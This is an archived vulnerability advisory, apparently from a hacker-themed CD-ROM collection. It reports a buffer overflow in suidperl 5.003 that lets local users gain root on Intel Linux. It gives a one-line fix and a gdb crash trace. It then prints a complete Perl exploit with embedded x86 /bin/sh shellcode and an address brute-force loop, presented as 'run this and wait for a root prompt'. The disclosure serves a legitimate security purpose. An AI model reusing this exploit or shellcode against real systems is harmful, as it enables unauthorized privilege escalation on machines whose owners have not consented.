home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / linux_perl.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  3.5 KB  |  129 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. Any user can gain root privileges on a Intel Linux system with suidperl
  5. 5.003 (having the suid bit, of course) even if "SUIDBUF" and "two suidperl
  6. security patches" have been applied. Non-Intel / non-Linux platforms may
  7. be affected as well.
  8.  
  9. Quick fix:
  10.  
  11. chmod u-s /usr/bin/sperl5.003  (what else?)
  12.  
  13. Details:
  14.  
  15. There is a nasty bug in mess() (util.c): it is possible to overflow
  16. its buffer (via sprintf()); mess() tries to detect this situation but
  17. fails to handle the problem properly:
  18.  
  19. [excerpt from util.c]
  20.  
  21.     if (s - s_start >= sizeof(buf)) {   /* Ooops! */
  22.         if (usermess)
  23.             fputs(SvPVX(tmpstr), stderr);
  24.         else
  25.             fputs(buf, stderr);
  26.         fputs("panic: message overflow - memory corrupted!\n",stderr);
  27.         my_exit(1);
  28.     }
  29.  
  30. It does not abort immediately. It prints out an error message and calls
  31. my_exit(1), and this is very bad.
  32.  
  33. $ perl -v
  34. This is perl, version 5.003 with EMBED
  35.         Locally applied patches:
  36.           SUIDBUF - Buffer overflow fixes for suidperl security
  37.  
  38.         built under linux at Apr 22 1997 10:04:46
  39.         + two suidperl security patches
  40.  
  41. $ perl `perl -e "print 'A' x 3000"`
  42. Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
  43. ...AAAAAAAAAAAAAAAAA": File name too long
  44. panic: message overflow - memory corrupted!
  45.  
  46. $ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
  47. ...AAAAAAAAAAAAAAAAA": File name too long
  48. panic: message overflow - memory corrupted!
  49. Segmentation fault (core dumped)
  50.  
  51. $ gdb /usr/bin/perl core
  52. GDB is free software and you are welcome to distribute copies of it
  53.  under certain conditions; type "show copying" to see the conditions.
  54. There is absolutely no warranty for GDB; type "show warranty" for details.
  55. GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
  56. Inc...
  57. (no debugging symbols found)...
  58. Core was generated by `perl AAAAA...'.
  59. Program terminated with signal 11, Segmentation fault.
  60. Reading symbols ...
  61. ...
  62. #0  0x41414141 in ?? ()
  63. (gdb)
  64.  
  65. Voila! 0x41414141 == "AAAA"
  66.  
  67. The variable called top_env has been overwritten. In fact, it is jmp_buf
  68. and Perl calls longjmp() with it somewhere in my_exit().
  69.  
  70. Run this and wait for a root prompt:
  71.  
  72. [exploit code]
  73.  
  74. #!/usr/bin/perl
  75.  
  76. # yes, this suidperl exploit is in perl, isn't it wonderful? :)
  77.  
  78. $| = 1;
  79.  
  80. $shellcode =
  81.   "\x90" x 512 .            # nops
  82.   "\xbc\xf0\xff\xff\xbf" .  # movl $0xbffffff0,%esp
  83.   # "standard shellcode" by Aleph One
  84.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
  85.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
  86.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  87.  
  88. # start and end of .data
  89. # adjust this using /proc/*/maps
  90.  
  91. $databot = 0x080a2000;
  92. $datatop = 0x080ab000;
  93.  
  94. # trial and error loop
  95.  
  96. $address = $databot + 4;
  97.  
  98. while ($address < $datatop) {
  99.   $smash_me =
  100.     $shellcode . ('A' x (2052 - length($shellcode))) .
  101.     (pack("l", $address) x 1000) . ('B' x 1000);
  102.   $pid = fork();
  103.   if (!$pid) {
  104.     exec('/usr/bin/sperl5.003', $smash_me);
  105.   }
  106.   else {
  107.     wait;
  108.     if ($? == 0) {
  109.       printf("THE MAGIC ADDRESS WAS %08x\n", $address);
  110.       exit;
  111.     }
  112.   }
  113.   $address += 128;
  114. }
  115.  
  116. [end of exploit code]
  117.  
  118. I have tested this on two Red Hat 4.2 systems running on Intel (with
  119. perl-5.003-8 and -9). I am pretty sure any Intel-like Linux having
  120. sperl5.003 is affected.
  121.  
  122. Other platforms may be affected too.
  123.  
  124. Perl 5.004 is NOT VULNERABLE.
  125.  
  126. --Pavel Kankovsky aka Peak (troja.mff.cuni.cz network administration)
  127.  
  128. ----------------------------------------------------------------------------
  129.